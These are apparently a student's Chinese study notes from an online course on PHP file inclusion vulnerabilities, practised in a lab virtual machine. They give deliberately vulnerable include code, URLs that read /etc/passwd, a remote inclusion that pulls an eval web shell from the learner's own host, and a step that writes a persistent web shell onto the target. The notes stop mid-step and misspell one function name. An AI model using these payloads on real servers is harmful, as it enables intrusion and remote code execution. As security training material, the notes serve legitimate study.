b站蜗牛学院课2-P121
所用虚拟机地址:192.168.112.188
所用本机地址:192.168.112.1
一、本地文件包含
1. 源代码
在虚拟机的security/fileinc.php文件中写入如下代码:
<?php
$filename = $_GET[‘filename’];
include $filename; //或include_once, require, require_once
echo "<hr>欢迎来到PHP的世界。<br>";
?>
2. 利用条件
php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?
3. 利用方式
【例1】在浏览器中输入:
http://虚拟机地址/security/fileinc.php?Filename=misc.php
报错:需要传入uname、passwd值
改正:
http://虚拟机地址/security/fileinc.php?Filename=misc.php&uname=woniu&passwd=123456
【例2】读取任意文件:
http://虚拟机地址/security/fileinc.php?Filename=/etc/passwd
/etc/passwd为文件路径
Filename=./login.html
4. 注意事项
一旦文件中出现使用include或其他三个文件包含的函数,那么无论包含的文件后缀名是什么,均会当成PHP代码来执行。其余文字将当做普通html文本显示。
二、远程文件包含
1. 利用条件
php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off(默认关闭,需开启,vim etc\php.ini
)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?
2. 利用方式
【例1】试探:
在浏览器中输入:
http://虚拟机地址/security/fileinc.php?filename=https://www.woniuxy.com/index.php
filename=可为任意一个网页地址
若出现了网页,则说明存在文件包含漏洞。
【例2】实现远程文件包含:
①在winD:\XampNew\htdocs\learn\shell.php
中输入下列代码:
<?php
//phpinfo();
@eval($_GET['code']);
?>
在windows浏览器中输入:
http://localhost/learn/shell.php?code=phpinfo();
出现windows的php信息。
②在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php
需关闭win和虚拟机的防火墙,即可访问。
③在winsows浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php?code=phpinfo();
<注 1>.在使用远程文件包含时,可使用shell.php?code=phpinfo()
中的?
,因为已将https://本机地址/learn/shell.php?code=phpinfo()
这整个部分当作url地址来包含,不会把?code=phpinfo()
当作第二个参数。
<注 2> 此时结果未被包含在虚拟机地址中使用,未通过虚拟机中的fileinc.php
执行,显示的结果是本机的信息,与单独实现https://本机地址/learn/shell.php?code=phpinfo();
结果一样。更正:
- 将win
D:\XampNew\htdocs\learn\shell.php
另存为shell.txt
, - 在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt&code=phpinfo();
用&后,code为filename的第二个参数
用?时,filename后边为一个整体的网址
此时执行的结果才是包含之后的。
shell.php?code=phpinfo();
shell.txt&code=phpinfo();
三、利用包含文写木马
在winD:\XampNew\htdocs\learn\shell.txt
中写入下列代码:
<?php
// phpinfo();
// @eval($_GET['code']);
file_put_contenes("temp/muma2.php", '<?php @eval($_GET["code"]); ?>');
?>
// file_put_contenes的第一个参数:虚拟机中的要包含进去的文件路径文件名,第二个参数:要写入的文本的内容。
要使虚拟机包含木马文件muma2.php
: